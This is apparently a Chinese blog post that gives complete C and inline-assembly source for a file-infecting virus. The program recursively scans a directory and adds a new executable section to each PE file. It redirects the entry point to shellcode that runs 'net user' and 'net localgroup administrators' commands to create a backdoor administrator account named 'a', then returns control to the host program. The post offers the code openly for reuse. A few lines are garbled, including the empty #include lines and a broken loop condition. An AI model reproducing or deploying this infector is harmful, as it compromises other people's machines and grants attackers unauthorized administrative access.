PE感染-添加节区

网上这种东西一大堆，再次感谢大神们的分享，顺便做下记录，以后忘了也可以直接拿来用

#include 
#include 
#include 

//本程序只适用于载入基址定位的。。。非随机基址
//感染指定目录的PE文件
char ItIs[MAX_PATH] = "D:\\桌面\\感染PE\\感染目录";
//添加了一个新节区
//然后shellcode是添加一个名为a，密码为a的administrator
//然后PEB定位kernel32只在我的win7 x64电脑上测试成功，可以稍许修改，以通用


//函数功能: 以ALIGN_BASE为对齐度对齐size
//参数说明: 
//		size:需要对齐的大小
//		ALIGN_BASE:对齐度
//返回值:	返回对齐后的大小
DWORD Align(DWORD size, DWORD ALIGN_BASE)
{
	assert(0 != ALIGN_BASE);
	if (size % ALIGN_BASE)
	{
		size = (size/ALIGN_BASE + 1) * ALIGN_BASE;
	}
	return size;
}

//函数功能: 检测感染标识和设置感染标识
//参数说明:
//		pDosHdr:执行DOS头
//返回值:	是否未被感染, 是->TRUE, 否->FALSE
BOOL SetFectFlag(PIMAGE_DOS_HEADER &pDosHdr)
{
	if (*(DWORD*)pDosHdr->e_res2 == 0x4B4B43)
	{
		return FALSE;
	}
	else
	{
		*(DWORD*)pDosHdr->e_res2 = 0x4B4B43;
		return TRUE;
	}
}

//函数功能:	打开文件并判断文件类型
//参数说明:	
//		szPath:文件绝对路径
//		lpMemory:保存文件内存映射地址
//返回值:	是否是PE文件, 是->TRUE, 否->FALSE
BOOL CreateFileAndCheck(char *szPath, LPVOID &lpMemory, HANDLE &hFile)
{
	//打开文件
	hFile = CreateFileA(szPath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		//printf("CreateFileA %s Failed! ErrorCode = %d\n", szPath, GetLastError());
		return FALSE;
	}
	HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
	if (!hMap)
	{
		//printf("CreateFileMappingA %s Failed! ErrorCode = %d\n", szPath, GetLastError());
		return FALSE;
	}
	lpMemory = MapViewOfFile(hMap, FILE_MAP_READ|FILE_MAP_WRITE, NULL, NULL, NULL);
	if (!lpMemory)
	{
		//printf("MapViewOfFile %s Failed! ErrorCode = %d\n", szPath, GetLastError());
		CloseHandle(hMap);
		return FALSE;
	}

	CloseHandle(hMap);
	return TRUE;
}

//函数功能: 感染指定文件
//参数说明:
//		szPath:文件绝对路径
void FectPE(char *szPath)
{
	LPVOID lpMemory;
	HANDLE hFile;
	if (!CreateFileAndCheck(szPath, lpMemory, hFile))
	{
		return;
	}
	PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpMemory;
	//判断DOS标识
	if (*(WORD*)pDosHdr != 23117)
		goto Err;

	PIMAGE_NT_HEADERS32 pNtHdr = (PIMAGE_NT_HEADERS32)( *(DWORD*)&pDosHdr + (DWORD)pDosHdr->e_lfanew);
	//判断NT标识
	if (*(WORD*)pNtHdr != 17744)
		goto Err;

	//设置感染标识
	if (!SetFectFlag(pDosHdr))
		goto Err;

	//检查可用空间
	if ((pNtHdr->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHdr->OptionalHeader.SizeOfHeaders)
		goto Err;

	PIMAGE_SECTION_HEADER pSecHdr = (PIMAGE_SECTION_HEADER)(*(DWORD*)&pNtHdr + sizeof(IMAGE_NT_HEADERS32));
	PIMAGE_SECTION_HEADER pNewHdr = (PIMAGE_SECTION_HEADER)(pSecHdr + pNtHdr->FileHeader.NumberOfSections);
	PIMAGE_SECTION_HEADER pLastHdr = (PIMAGE_SECTION_HEADER)(pNewHdr - 1);

	//检测是否有附加数据
	DWORD i = 0;
	DWORD size = pSecHdr->PointerToRawData;
	for ( ; iFileHeader.NumberOfSections; i++)
	{
		size += Align(pSecHdr[i].SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
	}
	if (size != GetFileSize(hFile, 0))
	{
		return;			//有附加数据
	}

	goto shellend;
	_asm
	{
shellstart:		
		pushad
		mov eax,fs:[0x30]				;得到PEB结构地址
		mov eax,[eax + 0x0c]			;得到PEB_LDR_DATA结构地址
		mov esi,[eax + 0x1c]  
		lodsd							;得到KERNEL32.DLL所在LDR_MODULE结构的
										;InInitializationOrderModuleList地址
		mov eax,[eax]					;win7要加/ 好吧其实本人
		mov eax,[eax + 0x08]			;得到BaseAddress，既Kernel32.dll基址
		mov	ebp,eax

		mov	eax,dword ptr[eax+0x3c]		;指向IMAGE_NT_HEADERS
		mov	eax,dword ptr[eax+ebp+0x78]	;指向导出表
		mov ecx,[ebp+eax+24]			;得到NumberOfNames
		mov	ebx,[ebp+eax+32]			;得到AddressOfNames
		add	ebx,ebp
					
		push dword ptr 0x00007373		;构造GetProcAddress字符串
		push dword ptr 0x65726464
		push dword ptr 0x41636F72
		push dword ptr 0x50746547
		mov	edx,esp
		push ecx
loc1:
		mov edi,edx
		pop ecx
		dec ecx
		test ecx,ecx
		jz exit							;其实这个啥用都没，我勒个去
		mov esi,[ebx+ecx*4]
		add esi,ebp
		push ecx
		mov ecx,15
		repz cmpsb
		test ecx,ecx
		jnz loc1

		pop ecx							;ecx = 0x244
		mov esi,[ebp+eax+36]			;得到AddressOfNameOrdinals
		add	esi,ebp
		movzx esi,word ptr[esi+ecx*2]	;得到AddressOfFunctions的序号
		mov edi,[ebp+eax+28]			;得到AddressOfFunctions
		add	edi,ebp
		mov edi,[edi+esi*4]				;得到GetProcAddress函数地址
		add	edi,ebp						;edi = 0x771F1222

/*		xor ebx,ebx						;构造LoadLibraryA字符串
		push ebx
		push dword ptr 0x41797261
		push dword ptr 0x7262694C
		push dword ptr 0x64616F4C
		push esp
		push ebp
		call edi						;0x771F4977
		add esp,16						;恢复堆栈
		
		push dword ptr 0x00006C6C		;构造msvcrt.dll字符串
		push dword ptr 0x642E7472
		push dword ptr 0x6376736D
		push esp
		call eax						;75AA0000
		add esp,12						;恢复堆栈
*/
		push dword ptr 0x00636578		;构造WinExec字符串	ps:试过system 发现不行
		push dword ptr 0x456E6957
		push esp
		push ebp
		call edi						;
		add esp,8
		push eax

		xor ebx,ebx						;构造cmd /c net user a a /add
		push ebx
		push dword ptr 0x6464612F
		push dword ptr 0x20612061
		push dword ptr 0x20726573
		push dword ptr 0x75207465
		push dword ptr 0x6E20632F
		push dword ptr 0x20646D63
		push ebx
		mov ebx,esp
		add ebx,4
		push ebx
		call eax
		add esp,28						;WinExec要少恢复4个字节
		pop eax

		push DWORD ptr 0x00646461		;构造cmd /c net localgroup administrators a /add字符串
		push DWORD ptr 0X2F206120
		push DWORD ptr 0X73726F74
		push DWORD ptr 0X61727473
		push DWORD ptr 0X696E696D
		push DWORD ptr 0X64612070
		push DWORD ptr 0X756F7267
		push DWORD ptr 0X6C61636F
		push DWORD ptr 0X6C207465
		push DWORD ptr 0X6E20632F
		push DWORD ptr 0X20646D63
		push DWORD ptr 0
		mov ebx,esp
		add ebx,4
		push ebx
		call eax
		add esp,44
exit:
		add esp,16
		popad
		mov eax,0x11111111
		jmp eax
	}
shellend:
	PBYTE *pShell;
	DWORD nShellLen;
	_asm
	{
		lea eax,shellstart
		mov pShell,eax
		lea ebx,shellend
		sub ebx,eax
		mov nShellLen,ebx
	}
	//添加新节
	memcpy(pNewHdr->Name, ".CCK", 4);
	pNewHdr->VirtualAddress = pLastHdr->VirtualAddress + Align(pLastHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);
	pNewHdr->PointerToRawData = pLastHdr->PointerToRawData + Align(pLastHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);
	//新加节virtualsize
	DWORD nSecSize = nShellLen;
	pNewHdr->Misc.VirtualSize = nSecSize;//这个值可以不是对齐的值 ps:貌似除了这个其他都要对齐哎╮(╯▽╰)╭
	pNewHdr->SizeOfRawData = Align(nSecSize, pNtHdr->OptionalHeader.FileAlignment);
	pNewHdr->Characteristics = IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;
	pNtHdr->FileHeader.NumberOfSections++;
	pNtHdr->OptionalHeader.SizeOfImage += Align(pNewHdr->Misc.VirtualSize, pNtHdr->OptionalHeader.SectionAlignment);//这个值必须是对齐的值
	pNtHdr->OptionalHeader.SizeOfCode += Align(pNewHdr->SizeOfRawData, pNtHdr->OptionalHeader.FileAlignment);//话说这个好像可要可不要
	//FlushViewOfFile(pDosHdr, 0);

	//写入shellcode
	DWORD dwNum1 = 0;
	SetFilePointer(hFile, 0, 0, FILE_END);
	WriteFile(hFile, pShell, nShellLen, &dwNum1, NULL);
	SetFilePointer(hFile, -6, 0, FILE_CURRENT);
	DWORD dwOldOp = pNtHdr->OptionalHeader.AddressOfEntryPoint;
	//printf("原始入口点: %XH\n", dwOldOp);
	dwOldOp += pNtHdr->OptionalHeader.ImageBase;
	//printf("原始程序加载点: %XH\n", dwOldOp);
	WriteFile(hFile, &dwOldOp, 4, &dwNum1, NULL);

	//写入剩余字节
	PBYTE pByte = (PBYTE)malloc(pNewHdr->SizeOfRawData-nShellLen);
	ZeroMemory(pByte, pNewHdr->SizeOfRawData-nShellLen);
	DWORD dwNum = 0;
	SetFilePointer(hFile, 0, 0, FILE_END);
	WriteFile(hFile, pByte, pNewHdr->SizeOfRawData-nShellLen, &dwNum, NULL);
	//FlushFileBuffers(hFile);
	free(pByte);

	pNtHdr->OptionalHeader.AddressOfEntryPoint = pNewHdr->VirtualAddress;
	//printf("新入口点: %X\n", pNewHdr->VirtualAddress);

Err:
	CloseHandle(hFile);
	UnmapViewOfFile(lpMemory);
}

//函数功能: 扫描查找文件
//参数说明:
//		szPath:需要扫描的目录
void FindFile(char *szPath)
{
	WIN32_FIND_DATAA FindFileData;
	
	char szFileToFind[MAX_PATH] = {0};
	lstrcpyA(szFileToFind, szPath);
	lstrcatA(szFileToFind, "\\*.*");

	//查找目录下所有文件
	HANDLE hFile = FindFirstFileA(szFileToFind, &FindFileData);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		printf("FindFirstFileA Failed!\n");
		return;
	}
	do 
	{
		char szNewPath[MAX_PATH] = {0};
		lstrcpyA(szNewPath, szPath);

		//判断是否是目录
		if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
		{
			//判断是否是.或..
			if (!lstrcmpA(FindFileData.cFileName, ".") || !lstrcmpA(FindFileData.cFileName, "..")){}
			else
			{
				//递归查找下级目录
				lstrcatA(szNewPath, "\\");
				lstrcatA(szNewPath, FindFileData.cFileName);
				FindFile(szNewPath);
			}
		}
		else
		{
			//处理查找到的文件
			char szExe[MAX_PATH] = {0};
			lstrcpyA(szExe, szNewPath);
			lstrcatA(szExe, "\\");
			lstrcatA(szExe, FindFileData.cFileName);
			FectPE(szExe);
		}
	} while (FindNextFileA(hFile, &FindFileData));

	FindClose(hFile);
}

//主函数
int main()
{
	FindFile(ItIs);

	return 0;
}